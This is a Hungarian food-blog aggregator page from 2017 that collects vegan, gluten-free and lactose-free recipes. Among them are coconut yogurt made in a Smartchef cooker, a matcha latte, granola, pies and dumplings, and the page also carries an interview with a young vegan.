Kókuszjoghurt (laktózmentes, gluténmentes, vegán) + Smartchef szakács robot készülék
2017. december 1. Zizi kalandjai
Korábbi bejegyzésben írtam, hogy azon szerencsés 12 személy közé kerültem, akiket kiválasztottak, hogy teszteljék a Smartchef szakács robot készüléket. Első receptként egy “lassú főzés” (slow cooking) programmal főzött babgulyás receptjét hoztam nektek, most pedig egy nagyon egyszerű laktózmentes, vegán kókuszjoghurt receptjét.
Soha nem voltam nagy joghurt evő, magában nem igazán ettem, amikor még húsevő vagy vegetáriánus voltam. Most sem kívánom magát a joghurtot, viszont jól esik néha reggelire a granolát ezzel enni, vagy pedig a turmixba tenni, hogy növeljük a krémes ital tápértékét egy kis probiotikummal. A Smartchef segítségével nagyon leegyszerűsödik a joghurt készítés. Persze ne számítson senki olyan sűrű joghurtra, mint a tehéntejes változatnál… ez inkább lesz egy olyan ivójoghurt állagú, mint sűrű. Kétszer kétféleképpen készítettem… először csak kókusztejet és probiotikumot raktam bele – folyékony lett a joghurt, az íze viszont kellemesen savanykás, nagyon enyhén kókusz ízű. Második alkalommal már tettem bele sűrítőanyagot – nyílgyökérlisztet – és egy kevés agavészirupot, hogy a baciknak legyen mit enniük (vagyis az édesítőszer nem a joghurt édesítésére szolgál). Csak egy nagyon kicsivel lett sűrűbb a joghurt állaga, de ízre ugyanolyan finom lett. Elképzelhető, hogy ha a receptben megadott nyílgyökérliszt mennyiségét növeljük, akkor még sűrűbb lesz a joghurt!
A joghurt készítéséhez probiotikumot itt tudtok beszerezni.
Kókuszjoghurt (laktózmentes, gluténmentes, vegán) + Smartchef szakács robot készülék Mentés Nyomtatás Előkészítési idő 5 perc Főzési idő 8 óra Teljes idő 8 óra 5 perc Nagyon finom, krémes, folyékony állagú, enyhén kókusz ízű, vegán joghurt! Szerző: Zizi Recept típusa: reggeli, joghurt, ital Konyha: vegán, gluténmentes Adag/mennyiség: 1 liter Hozzávalók 1 liter kókusztej ⅓ része egy ilyen probiotikum kapszulának 3 teáskanál nyílgyökérliszt 1 teáskanál agavé szirup Elkészítés Öntsünk minden hozzávalót a Smartchef edényébe. Válasszuk ki a joghurt (YOGHURT) programot, majd a START gombot megnyomva, indítsuk el a programot. A készülék tetejét végig tartsuk lecsukva. Ez a program 8 órán át keresztül készíti a joghurtot 39C fokon. Ha a joghurt elkészült, töltsük át egy üvegbe. Hűtőben tartva egy hétig eláll. Jegyzetek Aroy-D márkájú kókusztejet használtam, ami krémes tejszín állagú, nagyon jól lehet dolgozni vele, kiváló lett a joghurt íze. Ázsiai, keleti fűszeres boltokban és webshopokban szerezhető be. A joghurt elkészíthető nyílgyökérliszt és agavészirup hozzáadása nélkül is, akkor még hígabb lesz az állaga (ivójoghurt). A vegán probiotikum kapszula itt szerezhető be. Granola recepteket itt találtok. Kókuszjoghurtot az is tud készíteni, akinek nincsen Smartchef készüléke. Receptet találtok a Mit eszik a vega gyerek? című szakácskönyvemben. 3.5.3229
A kókuszjoghurt elkészítéséről videó is készült...
Paprikás, édesköményes tészta pirított magvakkal
2017. november 29. Élj harmóniában
A tésztafélék gyorsan elkészülnek, változatos formában léteznek és nagyon jó fehérjeforrások, ha magvakkal kombinálod őket. Ma a hűtőben körbenéztem és megláttam néhány piros színű paprikát, majd elgondolkoztam mit készítsek belőle. Elsőre a tészta villant be, de a paprika nekem túl tömény ezért hozzá tett egy nagy édesköményt is. Az eredmény nagyon ízletes lett. Paprikás, édesköményes tészta pirított magvakkal Hozzávalók 3 ek. ghí ( vegán változatban kókuszzsír) 1 nagyobb édeskömény 3 piros színű paprika csipet asafoetida (más néven hing) elhagyható 1 ek. oregánó 1 ek. bazsalikom 0,5 ek kakukkfű 6 ek. napraforgómag só víz 250 g tészta ( gluténmentes diétában gm tészta) Vegyszermentes (bio) alapanyagokat használj! A napraforgómagot szárazon (zsiradék nélkül) pirítsd meg egy serpenyőben és tedd félre. A paprikát és az édesköményt mosd meg és vágd vékony darabokra. A zsiradékot tedd egy forró serpenyőbe. Tedd bele az asafoetidát pirítsd egy rövid ideig. Add hozzá a paprikákat és pirítsd őket néhány percig, majd add hozzá az édesköményt és a többi fűszertis. Kevergesd , amíg a zöldségek megpuhulnak. A végén keverd hozzá a pirított napraforgómagot. Keverd össze a kifőtt tésztát a zöldségekkel és a végén locsold meg olívaolajjal vagy napraforgóolajjal.
sajtos csicsókás rúd
2017. november 24. Beautilicious
A zöldségek sokszínűsége annyira szuper! Imádom ! Ilyen ez a mai recept is, melyet a csicsóka alkotja. hozzávalók - 30gr kókuszliszt - 100gr zabliszt - 100gr lenmagliszt - 300gr csicsóka - 20gr útifűmaghéj - 200gr tejföl - 1 csomag sütőpor - só - reszelt sajt a szóráshoz így készítsd - Főzd meg a megtisztított csicsókát - Keverd össze a száraz hozzávalókat - A tejfölt add a csicsókához, majd öntsd ezt a keveréket a lisztes keverékhez - Nyújtsd ki a tésztát, majd reszelj rá sajtot - Süsd előmelegített sütőben 180 fokon 35percig
Sajttal töltött sütőtökös golyó
2017. november 19. Beautilicious
Annyi receptet köszönhetek ennek a csoda zöldségnek. Most sajttal töltött labdákat készítettem belőle. Nagyon finom és elronthatatlan recept, ami pikk-pakk elkészül, és nem igényel sok alapanyagot. Hozzávalók - 300gr sütőtök - 1ek lenmagliszt - 150gr sajt - só - 1 tojás - zabliszt a forgatáshoz Így készítsd - Főzd a sütőtököt puhára - Törd össze, majd add hozzá a sót és a lenmagot - Vágj kis kockákat a sajtból, majd vegyél a kezedbe egy adag sütőtökös masszát, majd lapítsd ki - Tegyél bele egy kocka sajtot, és gyúrj labdákat - Verd fel a tojást, és egy tálba önts zablisztet - Forgasd meg zablisztbe, majd tojásba, majd megint lisztbe - Két féle kép is elkészítheted: vagy kisütöd forró kókuszolajban, vagy kizsírozott tepsiben, sütőben (így lassabb, de kalóriaszegényebb) kb 45perc alatt sül meg 180 fokon
Gesztenye torta
Egyik nap a Nyitott szemmel elején Flóra kisasolta a tortaszeleteket, és erőteljesen tudomásunkra hozta, hogy azokat bizony meg kéne enni! :) Ábel később úgy gondolta, míg Flóra alszik, süssünk tortát, így neki is álltunk. Hosszú idő óta ez volt az első torta, amit boldogan el is fogyasztott (a cukrászdai csokitortától eltekintve, mert az nem kérdés egy alkalommal sem, ha valakinek a szülinapján hozzájut). A piskóta tésztája Katanyaka féle recept még régről, de nagyon jól működik. Egy nagy tepsire való adag. Hozzávalók: 50 dkg tk tönkölyiszt (lightosabban fele finomliszt) 1/2 liter növényi tej (mogyoró, mandula, szója) 1/2 citrom leve 6 ek olivaolaj 1 cs borkősütőpor 1 tk szódabikarbóna 30 csepp sztívia 1 csipet só 2 csomag natúr gesztenyemassza 10 dkg biomargarin 3 ek kókuszvirág cukor / eritrit 2-3 kanál baracklekvár - opcionális Pár kocka karobcsoki - opcionális A sütőt begyújtjuk, egy tepsit sütőpapírral kibélelünk. A gesztenyemasszát kivesszük a mélyhűtőből. A tönkölylisztet, sütőport, szódabikarbónát, sót összekeverjük. A tejet, a citromlét, olajat, steviát szintén, majd beleöntjük a lisztes keverékbe. Addig kevergetjük, míg a tészta egynemű nem lesz. Azután elsimogatjuk a tepsiben, és közepes hőfokon bő fél óráig sütjük. Míg a piskóta hűl, elkészíthetjük a krémet. A gesztenyemasszát a cukorral és a margarinnal addig keverjük, míg finom krémet nem kapunk. A piskótát elfelezzük. (Ha elég magasra sikerül, hosszában is el elvágható, és megkenhető baracklekvárral.) A két részt majd egymásra helyezzük, miután az egyik felét a gesztenyekrém bőven mért 1/3 részével megkenjük. A maradék krém megy a tetejére és az oldalára, illetve használhatjuk a díszítéshez. Némi olvasztott karobcsokit csurgathatunk a tetejére.
Matcha latte (laktózmentes, gluténmentes, vegán)
2017. november 8. Zizi kalandjai
A szülinapomon (október közepén) elhatároztam, hogy leszokom a mindennapi kávéivásról. Régen csak hetente egyszer ittam kávét (szombatonként) a piacozás után. Aztán másfél éve valahogy rászoktam, hogy szinte mindennap ittam ebéd után, olyan szertartásként. Éreztem, hogy nem jó nekem, meg nem is akartam fejben a mindennapi kávéivást, de valamiért a szertartás annyira belém rögzült, hogy nehéz volt megválni tőle. Aztán I. is elhatározta, hogy abbahagyja a mindennapi kávéivást, így közösen támogatva egymást abbahagytuk és nagyon jó érzés. Lassan egy hónapja, hogy nem ittunk kávét. Most tesztelgetjük a teákat, meg az “alternatív” latte lehetőségeket és sok olyan van, ami nagyon ízlik nekünk.
Iszunk koffeinmentes teákat, kurkumás lattekat a kávé helyett. Keresem az újabbnál újabb recepteket és csodás dolgokra bukkanok a neten, mint például ez a spirulinás latte vagy misos latte (ami mézzel készült, de a mézet lehet helyettesíteni más édesítőszerrel) vagy pirított kókusztejes tea (pirított kókusztej? toplistás kipróbálandó!!!) vagy fehércsokis gabonakávés mokka.
Persze nem maradhat ki a listáról a matcha latte, ami nagyon nagy népszerűségnek örvend manapság. Már Magyarországon is megtalálható jó pár (főleg) specialty kávézó itallapján. A matcha (??) a rituális japán teaceremóniák köztiszteletben álló teája. A legelső tea magvakat még a kínai Tang-dinasztia (618-907) idején szállították Japánba, hogy orvosságként használhassák. Sokáig csak a papok, nemesek és szamurájok ismerték a jótékony hatásait, melyet féltve őrzött titokként kezeltek. “A matcha a zöld teának egy speciális változata, a neve szó szerint azt jelenti, hogy por állagú tea. Míg a hagyományos zöld tea elkészítése során a tealevelek összetevői belekerülnek a forró vízbe, majd a leveleket ki kell dobni, a matcha esetében a leveleket előbb porrá őrlik, és így vízzel érintkezve akadály nélkül képesek feloldódni. Ennek az eljárásnak köszönhetően a matcha sokkal több hasznos tápanyagot tartalmaz, mint a többi teaféle. A vitaminok és ásványi anyagok mellett antioxidánsokban is gazdag, így megvéd a szívbetegségektől és a ráktól, valamint képes szabályozni a vércukorszintet és a vérnyomást is. A matcha abban is eltér a többi teafélétől, hogy háromszor annyi koffeint tartalmaz, ám ez a koffein a kávéban találhatóval szemben sokkal nyugtatóbb hatású. Ezzel együtt lefekvés előtt hat órával már lehetőleg ne fogyasszuk.” (Forrás: innen). Kathynél az egyik kedvenc vegán bloggeremnél találtok egy nagyon jó összefoglalót a matcharól, a különböző fajtákról és néhány recept ötletről.
Aki igazán szeretne profin matcha lattét készíteni, annak ajánlom, hogy szerezzen be egy ilyen bambusz teakeverő ecsetet, ezzel igazán autentikusan lehet elkészíteni a teát. Nekem nincs (még) ilyenem, szóval én kanállal kevertem el a teaport a vízben, a kókusztejet pedig simán habverővel kevertem habosra a teához.
Matcha latte (laktózmentes, gluténmentes, vegán) Mentés Nyomtatás Előkészítési idő 2 perc Főzési idő 5 perc Teljes idő 7 perc Kávé helyett, habos kókusztejes zöld tea. Szerző: Zizi Recept típusa: ital Konyha: vegán Adag/mennyiség: 1 főre Hozzávalók 2 teáskanál Veganz kókuszos matcha por 1 teáskanál juharszirup 60 ml meleg víz 125 ml kókusztej (sűrű, krémes) Elkészítés Tegyük a matcha port a bögrébe, adjuk hozzá a nagyon meleg (de nem forrásban lévő) vizet és jól keverjük el. Adjuk hozzá a juharszirupot és azzal is keverjük el. A kókusztejet melegítsük fel egy lábasban és kézi habverővel vagy tejhabosítóval verjük habosra és öntsük rá a matchás keverékre. Fogyasszuk azonnal melegen. Jegyzetek A Veganz matcha por tartalmaz nádcukrot. Érdemes először magában megkóstolni és utána ízesíteni. Nekem jól esett az 1 teáskanál juharszirup. Juharszirup helyett lehet használni agavészirupot, nádcukrot, kókuszvirágcukrot. Bármilyen matcha tea por és növényi tej használható a recepthez. Aroy-D márkájú kókusztejet használtam, nagyon finom lett vele. 3.5.3226
*****
A kókuszos matcha port a {Spar Magyarország} biztosította a recepthez. A véleményem csakis a sajátom.
Fűszeres kókuszos quinoa pehely granola (laktózmentes, gluténmentes, vegán)
2017. október 30. Zizi kalandjai
Ezer éve, pontosan két éve és két hónapja volt utoljára granola recept a blogomon. Ez sem blog receptnek készült, csak kókuszjoghurt recepttel kísérletezem egy konyhai gép segítségével és ahhoz készítettem ropogós granolát, hogy tudjuk mivel enni. Annyira finom lett a granola, hogy muszáj elhoznom a receptet nektek is. Megint csak – ahogyan a granola receptek többsége születik -, véletlenszerűen dobáltam össze egy tálba mindent, amit találtam itthon. Mogyoró, mandula, napraforgómag, lenmag, quinoa pehely, gluténmentes zabpehely, kókusz chips és a fűszerek: fahéj, vanília és őrölt kardamom. Egyedül a kókusz chipset sütöttem/pirítottam külön egy serpenyőben, hogy ne égjenek meg nagyon, de ha a tepsiben sütés végén adjuk a granolához úgy is rendben van, csak tényleg figyeljünk rá, mert nagyon könnyen megég.
Kókuszjoghurtba, kására és smoothie bowlok tetejére szórtuk ezt a fűszeres granolát, amit mindannyian imádtunk. Holnap már sütöm is a következő adagot. Ti is próbáljátok ki vagy mentsétek el a receptet, mert karácsonyi gasztro ajándékként nagyon jól fog jönni egy ilyen illatos, ropogós granola. Érdemes dupla adagot csinálni belőle!
Fűszeres kókuszos quinoa pehely granola (laktózmentes, vegán) Mentés Nyomtatás Előkészítési idő 10 perc Főzési idő 20 perc Teljes idő 30 perc Ropogós, fűszeres granola. Kiváló reggelire vagy délutáni nasinak! Szerző: Zizi Recept típusa: snack, reggeli Konyha: vegán Adag/mennyiség: 4 főre Hozzávalók 1 bögre quinoa pehely 1 bögre aprószemű gluténmentes zabpehely 1 bögre mandula/törökmogyoró, vegyesen, durvára aprítva 1 bögre napraforgómag ¾ bögre kókusz chips 3 evőkanál lenmag 3 evőkanál extra szűz kókuszzsír, olvasztva 3 evőkanál agavészirup (opcionális) 1 teáskanál őrölt fahéj ¼ teáskanál őrölt vanília ¼ teáskanál őrölt kardamom Elkészítés Melegítsük elő a sütőt 180 fokra. Egy nagy tepsit béleljünk ki sütőpapírral. Egy tálban keverjük össze a száraz alapanyagokat: quinoa pehely, zabpehely, mandula, törökmogyoró, napraforgómag, lenmag, fahéj, vanília, kardamom. Egy másik tálban keverjük össze a nedves hozzávalókat: a kókuszzsírt és az agavészirupot. Ezt a nedves keveréket adjuk a szárazhoz és jól keverjük el, hogy a kókuszzsír és az agavészirup mindenhol befedjék (érintsék) a magokat. Borítsuk rá a tepsire és kanállal egyengessük el, hogy mindenhova egyformán jusson. Süssük kb. 10-12 percig, keverjük át, majd süssük újabb 10 percig, amíg aranybarna lesz (ellenőrizzük folyamatosan, mert sütő függő, hogy milyen hamar lesz kész). Sütés közben egy száraz tapadásmentes serpenyőben enyhén pirítsuk meg a kókusz chipset 3-4 perc alatt, majd ha a sütőt elzártuk, keverjük a chipset a granolához. Üvegben/dobozban tartva hetekig eláll. Bár nem fog addig tartani, ezt garantálom! Jegyzetek A recepthez használt bögre 250 ml-es. Bármilyen magot használhatunk hozzá, diót, kesudiót, pisztáciát, tökmagot, amit találunk a kamránkban. Az agavészirupot el is hagyhatjuk, így teljesen cukormentes lesz a granola. Lehet csak quinoa pehelyből készíteni. 3.5.3226
Z generációs vegánok – interjúsorozat, 2. rész: Sipos Nóra
2017. október 27. Zizi kalandjai
Bemutatnád magad röviden?
Sziasztok! Nóra vagyok, 28 éves és közel 3 éve vegán, 2015. március végén változtattam az életmódomon.
Hogyan fogadta a környezeted (szülők, nagyszülők, barátok, osztálytársak), amikor bejelentetted, hogy vegán leszel/lettél?
Közvetlen azután, hogy kiderült, elutasítóak voltak, nem támogatták, féltettek, hogy valami bajom lesz. Szerencsére ez idővel javult, most már készítenek nekem külön vegán ételeket és azóta több barátom vegetáriánus/vegán lett, aminek nagyon örülök!
Mi volt a motivációd a váltásra?
Nem akartam többé ártani az állatokat, nem akartam részt venni a kihasználásukban.
A váltás egyik napról a másikra történt vagy szakaszokban (pl. először vegetáriánus lettél és utána vegán)?
Vegán egyik napról a másikra lettem, vegetáriánus közvetlen előtte két hétig voltam és csak tojást ettem, ami állati eredetű volt. Ekkor még nem értettem meg a lényeget és nem volt meg az etikai háttér. Ezt megelőzte egy pár hónapig tartó “kutatási” időszak, amikor a veganizmussal ismerkedtem és gyűjtöttem az információkat.
A vegán étrend egyfajta tudatosságot is hoz az embernek. Te mire figyelsz oda az egészségedet illetően a vegán étrend miatt (pl. szedsz-e vitamint, több vizet iszol, sportolsz, stb.)?
Nem figyelek különösebben dolgokra, mindent eszem, ami vegán. Vitaminok közül jelenleg csak B12-t szedek. A tudatosság nálam a környezetvédelem terén mutatkozik meg jobban.
Hogyan érzed magad vegánként (egészségügyi, lelki szempontból)?
Nagyon jól! Egészséges vagyok és boldog, életem egyik legjobb döntése volt a váltás.
Okozott-e problémát valaha a vegán étrend, életmód (pl. nem lehet vegán ételt kapni a suliban, egyetemen, az állandóan kíváncsiskodók kérdéseinek a megválaszolása, stb.)?
A vegán étrend nem okozott különösebben problémát, sült krumpli, zöldség és gyümölcs mindenhol van, ezért bárhol tudok enni. Ha tudom, hogy olyan helyre megyek, ahol nem lesz, akkor viszek magammal valamit, amit enni tudok. Vegánként a legnagyobb nehézség abban rejlik, mikor egyébként jó és szerető embereket látok résztvenni szükségtelen öldöklésben. Hirtelen azt vettem észre, hogy a család és a barátaim állatkínzás pártiak lettek. Nem tudom, hogy hogyan reagáljak, mert nem akarom őket megbántani, de az állatokat is meg akarom védeni. Számomra ez a legnehezebb rész.
Melyik az az étel, ami olyan “guilty pleasure” féle, vagyis nem túl egészséges (még vegán formában sem), de mégsem tudsz neki alkalmanként ellenállni?
Nincs ilyen étel jelen pillanatban, nem kategorizálok egészséges és egészségtelen csoportokba, ha csak növények vannak benne, megeszem.
Melyik a kedvenc vegán ételed?
Mindig változik, jelenleg csicseriborsós curry kókuszos rizzsel.
Mit üzensz azoknak a fiataloknak, akik szeretnének áttérni a vegán étrendre, de még nem tették meg ezt a lépést? Valamint azoknak a szülőknek, akik aggódnak a vegán étrendre áttért gyermekükért?
Tájékozódjatok és olvassatok utána a dolgoknak! Nézzetek dokumentumfilmeket, ismerkedjetek a témával, valamint kérdezzetek, ha valami nem érthető, vagy nem vagytok benne biztosak. Egy változatos, kiegyensúlyozott növényi étrend minden életszakaszban kielégítő és egészséges. Ha tudjuk, hogy így is lehet egészségesnek maradni, tudjuk és érezzük, hogy nem helyes az, amit az állatokkal teszünk, akkor miért folytassuk tovább és mi tart vissza minket attól, hogy életmódot váltsunk?
Nórát megtaláljátok:
Instagramon: @noraspiration
Facebookon: NoraSpiration
Youtube-on: @noraspiration
Zöldséges pásztor pite
Sheperds pie - így hívják az angolok, és igen, ez egy tipikus angol étel (ami, ha jól tudom, végre angol és nem más országból átvett étel). Megtalálható minden étterem kínálatában, munkahelyi konyhákon, kantinokban is gyakori étel. Nem, nem alulra teszik a krumplipürét egyátalán! Mondhatnám, az igazi pásztor pite alja nem krumpli. Míg mi magyarok inkább a krumplira tennénk a szószt, majd befednénk krumplival, itt viszont épp az a lényeg, hogy nem tesznek alá krumplit (így könnyebb lesz mosogatni is az edényt). Az eredeti ételt bárányhúsból készítik krumplival, viszont marhahúsból is szokták, de azt inkább Cottage pie-nak hívják. Cottage-okban laktak a szegényebb emberek, akik bárány helyett inkább marhahússal elkészítve engedhették meg maguknak. Ha pedig krumplipüré helyett leveles tésztával készítenénk akkor skót mintára készül a pásztor pite. Mindenesetre az angolok remekül megtalálták a módját, hogyan használják fel a maradék krumplipürét, ami esetleg előző nap megmaradt az ebédből.
A recept
Hozzávalók:
- 1 kg krumpli
- 1 kg vegyes zöldségkeverék (brokkoli, karfiol, répa vagy kedvünkre való más zöldségek)
- 2 ek vegán margarin
- 4 dl meleg növényi tej
- 1 ek kókuszzsír
- 1,5 ek étkezési keményítő
- só
- ételízesítő
- fokhagyma (opcionális)
- kurkuma (opcionális)
- sörélesztőpehely (opcionális)
Elkészítés:
A krumplit megpucoljuk, felkarikázzuk és annyi vízben, ami épp ellepi, só hozzáadásával feltesszük főzni. Amíg fő, a zöldségeket kevés sóval az edény alján kevés vízzel megpároljuk. Majd egy edényben a kókuszzsírt 2 dl növényi tejjel összemelegítjük. 1 dl hideg növényi tejjel csomómentesre keverjük a keményítőt és hozzákeverjük ahhoz a növényi tejhez, amivel a kókuszzsírt összemelegítettük. Kis lángon addig keverjük, amíg be nem sűrűsödik. Ételízesítőt szórunk bele. Ha sárgább színt szeretnénk, egy kis kurkumát is tehetünk bele, ha esetleg az ételízesítő nem színezné be eléggé. Ha fűszeresebb ízt szeretnénk, nyomhatunk bele 2-3 gerezd megpucolt fokhagymát vagy szórhatunk bele fokhagyma-granulátumot. Enyhén sajtos ízvilágot érhetünk el némi sörélesztő pehely hozzáadásával. A megpárolt zöldésget összekeverjük ezzel a besamel szósszal.
A megfőtt krumpliról a levet leszűrjük, hozzáadjuk a margarint és 1 dl növényi tejet. Krumplinyomóval vagy villával összetörjük a krumplit, szükség esetén sózzuk. Így elkészítjük a krumplipürét. (Ha túl sok krumplipüré maradt tegnapról, használjuk fel azt, viszont mellőzzük az instant porból készített gyors krumplipürét, az ugyanis túl folyós lesz a szósz tetejére.) A krumplipürének nem szabad túl folyósnak lennie.
Fogunk egy tűzállló edényt (pl. jénai tálat) vagy egy tepsit. Kókuszzsírral kikenjük az alját és oldalát. Beleöntjük a zöldséges szószt, majd pedig a tetejére halmozzuk és simítjuk a krumplipürét. A tetejét villával megszurkáljuk. Sütőben enyhén aranybarnára sütjük. Tálalásnál a zöldésges szósz enyhén folyós állagú lesz, de épp ez az egyik tulajdonsága. Amolyan szószos, nem áll egybe, mint pl. egy rakott krumpli.
Sütőben sült szilvásgombóc
Még Magyarországon jártunkkor kaptunk finom szilvát barátainktól, akik saját fájukról szedték. El is hoztuk Angliába, és egy részéből jó kis szilvásgombócot készítettem egészen egyedülálló módon, ugyanis nem főztem, hanem sütőben sütöttem a gombócot és nem lisztből, hanem kölesből és zabdarából készítettem. Tehát, ha bírod a zabpelyhet, akkor gluténmentesen is elkészítheted. Ha nem bírnád a zabpelyhet, kukoricadarát is használhatsz. Adagokat nem igazán mértem, de szerencsére látni, mikor lehet gombócot formálni a masszából. Dolgozhatunk fagyasztásból kiengedett szilvával, befőttel vagy sűrű lekvárral is.
A recept
Hozzávalók:
- 1,5 bögre köles
- darált zabpehely
- kókuszvirágcukor vagy gyümölcscukor vagy xylit vagy más édesítő
- víz
- növényi tej
- kb 20 darab szilva
- fahéj (ha azzal ízesítenénk a szilvát)
- mogyoró vagy dió vagy mandula
- sütőpapír
- kókuszzsír
- agavé vagy datolyaszirup
Elkészítés:
A kölest alaposan mossuk át, majd egy lábosban öntsük fel a kétszeres mennyiségű vízzel és fedő alatt kis lángon főzzük meg, időnként megkevergetve. Amikor a víz elfőtt róla, adjunk hozzá annyi növényi tejet, ami épp ellepi és főzzük tovább. Ha elfőtte a növényi tejet is, zárjuk el a hőt alatta, és hagyjuk a fedő alatt pihenni addig, míg a szilvát előkészítjük.
A szilvákat mossuk meg, vágjuk félig ketté és vegyük ki a magjukat. Ha úgy jobban szeretjük, meghinthetjük egy kis cukorhelyettesítővel és fahéjjal. Én inkább a szilva ízét szeretem, sem mint fahéjasan.
Ha kissé kihűlt a köles, édesítsük és adjunk hozzá annyi zabdarát, amennyit magába vesz, amivel könnyen formálható gombócokat tudunk készíteni. Majd enyhén nedvesített kézzel formázzunk púpos evőkanálnyi adagokból gombócokat úgy, hogy a közepükbe szilvát teszünk. A köleses masszát elterítjük a tenyerünkben, beletesszük a szilvát és gombócot formálunk.
Sütőpapíros tepsibe helyezzük, épp csak egy aprónyi kókuszzsírt kenünk a gombócok tetejére, majd előmelegített sütőben kb. 20 perc alatt kisütjük. Amíg sül, mogyorót vagy diót vagy mandulát vagy mákot darálhatunk, abba hempergetve kész a finom és ízletes köleses szilvásgombóc.
Tálalásnál agavé vagy datolyaszirupot csepegtettünk a gombócok tetejére.
Édesburgonya pástétom
Hozzávalók:
1 csésze (2,5 dl) felkockázott édesburgonya
4 marék sótlan napraforgómag
1 kis fej lilahagyma
1 ek kókuszzsír
só ízlés szerint
1kk oregánó
1kk bors/borsikafű
1kk kakukkfű
1kk pirospaprika
[...] Bővebben!
Fokhagymás sajtos rúd
2017. október 1. Beautilicious
Ezt a receptet akkor készítsd el, ha nem készülsz randira holnap :D. Aki szereti a fokhagymát, annak tuti bekerül a kedvencei közé ez a sós, rostban gazdag finomság. Hozzávalók - 60gr zabliszt - 40gr útifűmaghéj liszt - 50gr lenmagliszt - 1tojás - 6 gerezd fokhagyma - 150gr tejföl - só - szódabikarbóna - fél citrom leve - reszelt sajt a tetejére Így készítsd - A fokhagymát vágd apróra, majd kókuszzsíron pirítsd meg - Keverd össze a száraz hozzávalókat - A tojást verd fel habosra, és add hozzá a tejfölt és a citromlevet - Öntsd hozzá a száraz hozzávalókhoz, majd add hozzá a fokhagymát is - Gyúrd össze alaposan, majd tedd félre 20 percig pihenni - Nyújt ki 2 sütőpapír között, majd szórd meg reszelt sajttal - Süsd 180fokon 25-30percig
répás almás pite
2017. szeptember 30. Beautilicious
Nézzük mi van a kamrában :D. Répa,alma..hmm..mi is készülhet ezekből a finomságokból? Egy klasszikus édesség amiért mindenki oda van? Igeeen! Pite készült, jó sok fahéjal (mert az alma, fahéj, répa trió verhetetlen:) ) Hozzávalók a tésztához - 2alma - 150gr tejföl - 150gr zabliszt - 80gr kókuszliszt - 20gr útifűmag héj - 3ek cukormentes sárgabarack lekvár - Fél citrom leve a töltelékhez - 4répa - 2alma - 1narancs leve - fahéj Így készítsd - A tésztához pürésítsd az almát, majd a tejföllel, lekvárral és a citromlével keverd össze - A száraz összetevőket keverd össze egy külön tálba, majd az almapürével alaposan gyúrd össze - Nyújtsd ki a tészta háromnegyedét - Tedd sütőbe 180fokre 15percig - Addig elkészítjük a tölteléket; Reszeld la a répákat és az almákat - Facsard hozzá egy narancs levét, majd tegyél hozzá fahájat ( ha nem elég lágy a töltelék, előfőzheted, mert akkor enged egy kis levet az alma) - Tölts meg a töltelékkel az elősütött tésztát, majd a maradékot is nyújtsd kis - Vágj csíkokat és helyezd rá olyan formában, hogy rácsos pitét kapj
kakaós kókuszos céklás kenyér
2017. szeptember 15. Beautilicious
Imádom a kakaó, a cékla, és a kókusz ízét is, na de a három együtt még zseniálisabb. Ha valami igazán finom süteményre vágysz, próbáld ki ezt a glutén-, és cukormentes egészséges finomságot. Hozzávalók - 125gr kókuszliszt - 25gr útifű maghéj - 75gr édesítő - 50gr kakaó - 175gr cékla - 250gr görög joghurt - 150ml kókusztej Így készítsd - A céklát a joghurttal és a tejjel turmixold össze - Egy másik tálba keverd össze a száraz összetevőket - A két keveréket gyúrd össze és tedd kenyérsütő formába - Süsd 180 fokon 30 percig
Körtés-kesudiós smoothie bowl
2017. augusztus 28. Vegán Család
Hozzávalók:
6 kisebb érett körte hámozva
2 marék sótlan kesudió
1 kókusz joghurt (2 dl-es)
1 ek méz/agavészirup/rizsszirup
1/2 kk vaníliapor
díszítéshez:
1 körte kockákra vágva
1 nektarin kockákra vágva
[...] Bővebben!
mézes krémes, méz nélkül :)
2017. augusztus 25. Beautilicious
Ha van finom, egészséges és méz nélküli mézes krémes, akkor az ez. :) Glutén, Cukor és laktóz mentes, így ha ezt készíted egy vendégségbe, biztos, hogy nem fogsz mellé, sőt bomba biztos a siker. :D Hozzávalók - 65gr darált dió - 35gr útifűmag héj - 100gr kókuszliszt - 60gr édesítő - 200ml kókusztej - 1 tk olívaolaj - 2 sárgarépa - 2 tojás - mézeskalács fűszerkeverék, fahéj - szódabikarbóna - fél citrom leve - 100gr rizs - 2ek édesítő - vanília aroma - rum aroma - 350ml víz/ növényi tej Így készítsd - A megtisztított répát turmixold össsze a tojással, olajjal és a kókusztejjel - Egy külön edénybe keverd össze a darált diót, útifűmag héjat, a lisztet, a szódabikarbónát és a 60gr édesítőt - Ezt a két keveréket alaposan gyúrd össze , majd tedd hozzá a citromlevet - Nyomkodd a masszát sütőpapírral bélelt tepsibe és mehet a 170fokos sütőbe 20 percre - A krémhez főzz jó puhára 100gr rizst, ha majdnem kész tedd hozzá az édesítőt, vaníliát és a rumot - Ha megfőtt, turmixold le - A piskótát vágd három részre, és kettőt kenj meg krémmel, majd pakold őket egymásra
kakaós piskóta naracsos sajtkrémmel
2017. augusztus 22. Beautilicious
Egy puha piskóta, ami másnapra se szárad ki és nagyon finom. Megspékelve egy kis sajtkrémmel, ami telis tele van fehérjével...hmmm jól hangzik. Na de amilyen jól hangzik, olyan finom is. Hozzávalók - 3 tojás - 70gr eritrit - 30gr kókuszliszt - 70gr zabliszt - 25gr kakaópor - 150ml kókusztej - szódabikarbóna - fél citrom leve - vanília - 250gr kémsajt - 100gr tejföl - 2ek édesítő - 1 narancs leve - 1ek tápióka keményítő Így készítsd - A tojásokat választd ketté - A sárgájához keverd hozzá a tejet, édesítőt, vaníliát, kakaóport és a liszteket - A fehérjét verd kemény habbá, majd forgasd a liszthez - A masszát adagold tepsibe és süsd 180 fokon 15percig - A krémhez a sajtkrémet, tejfölt, narancs levet, tápiókát és az édesítőt alaposan keverd össze - Öntsd rá a tésztára és mehet vissza a sütőbe még a krém rá nem sül a tésztára. Ilyenkor a sütőt már felkapcsolhatod magasabb hőfokra.
Vegán gúrméskodás a Great Bistro-ban
2017. augusztus 18. Vegán lettem
